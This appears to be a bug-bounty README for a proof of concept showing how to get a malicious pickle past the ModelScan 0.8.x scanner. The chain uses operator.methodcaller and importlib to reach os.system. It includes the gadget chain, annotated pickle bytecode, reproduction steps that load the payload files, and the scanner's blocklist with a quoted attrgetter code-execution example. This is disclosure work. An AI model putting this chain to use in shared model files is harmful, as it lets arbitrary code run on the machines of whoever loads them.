LWa7ch's picture
Upload README.md with huggingface_hub
6a147a1 verified
|
Raw
History Blame Contribute Delete
4.05 kB
# ModelScan 0.8.x ACE Bypass — operator.methodcaller + importlib Gadget Chain
## Summary
This repository contains proof-of-concept files demonstrating a bypass of ModelScan 0.8.x
(latest) for the Protect AI / huntr.com Model Format Vulnerability bug bounty program.
The `.pkl` and `.joblib` files in this repo execute arbitrary commands at deserialization
time while passing ModelScan's scan as "No issues found."
## Vulnerability
**Affected scanner:** ModelScan 0.8.8
**Affected file types:** .pkl .pickle .joblib .dill .dat .data
**Impact:** Arbitrary Code Execution at model-load time, scanner bypass
ModelScan's `unsafe_globals` blocklist explicitly blocks `operator.attrgetter` with a
comment documenting the operator gadget pattern, but omits `operator.methodcaller`,
which achieves equivalent method invocation on runtime objects. The `importlib` module
is entirely absent from the blocklist.
## Gadget Chain
```
importlib.import_module("os") <- not in ModelScan blocklist
operator.methodcaller("system", CMD) <- not in ModelScan blocklist
(only attrgetter is blocked)
```
Execution:
```
operator.methodcaller("system", CMD)(importlib.import_module("os"))
= os.system(CMD)
```
## Globals extracted by ModelScan
```python
{('importlib', 'import_module'), ('operator', 'methodcaller')}
```
Neither is in `unsafe_globals`. ModelScan reports CLEAN.
## Reproduction
### Requirements
```
pip install modelscan joblib
```
### Step 1 - Verify execution
```python
import pickle
with open("poc_modelscan_bypass.pkl", "rb") as f:
data = f.read()
# This executes os.system("id > /tmp/ml_pwned") immediately
pickle.loads(data)
import os
assert os.path.exists("/tmp/ml_pwned")
print("ACE confirmed:", open("/tmp/ml_pwned").read())
```
### Step 2 - Verify ModelScan bypass
```
modelscan -p poc_modelscan_bypass.pkl
```
Expected output:
```
No issues found!
```
### Step 3 - Verify joblib.load() also triggers
```python
import joblib
joblib.load("poc_modelscan_bypass.joblib")
# Same RCE fires
```
## Pickle Bytecode (protocol 4)
```
PROTO 4
FRAME 107
SHORT_BINUNICODE 'importlib' MEMOIZE (as 0)
SHORT_BINUNICODE 'import_module' MEMOIZE (as 1)
STACK_GLOBAL MEMOIZE (as 2) <- importlib.import_module
SHORT_BINUNICODE 'os' MEMOIZE (as 3)
TUPLE1 MEMOIZE (as 4)
REDUCE MEMOIZE (as 5) <- os module
POP
SHORT_BINUNICODE 'operator' MEMOIZE (as 6)
SHORT_BINUNICODE 'methodcaller' MEMOIZE (as 7)
STACK_GLOBAL MEMOIZE (as 8) <- operator.methodcaller
SHORT_BINUNICODE 'system' MEMOIZE (as 9)
SHORT_BINUNICODE 'id > ...' MEMOIZE (as 10)
TUPLE2 MEMOIZE (as 11)
REDUCE MEMOIZE (as 12) <- methodcaller("system", cmd)
BINGET 5 <- retrieve os module
TUPLE1
REDUCE <- os.system(cmd) -> RCE
STOP
```
## Root Cause
`modelscan/settings.py` line in `unsafe_globals`:
```python
# Current (vulnerable)
"operator": [
"attrgetter", # Ex of code execution: operator.attrgetter("system")(__import__("os"))("echo pwned")
],
```
The developer documented the operator gadget pattern but only blocked `attrgetter`.
`methodcaller` achieves the same result through method dispatch on runtime objects.
## Fix
```python
# Fixed
"operator": ["attrgetter", "methodcaller", "itemgetter"],
"importlib": "*",
```
## Files
| File | Description |
|------|-------------|
| poc_modelscan_bypass.pkl | Malicious pickle — passes ModelScan, executes os.system() |
| poc_modelscan_bypass.joblib | Same payload, .joblib extension |
| poc_modelscan_bypass.py | Python script that generates and verifies the PoC |
## Ethical Use
This PoC uses a benign indicator (`id > /tmp/ml_pwned`) to demonstrate code execution.
It is submitted exclusively through the official Protect AI / huntr.com bug bounty program.
Do not use against systems you do not own.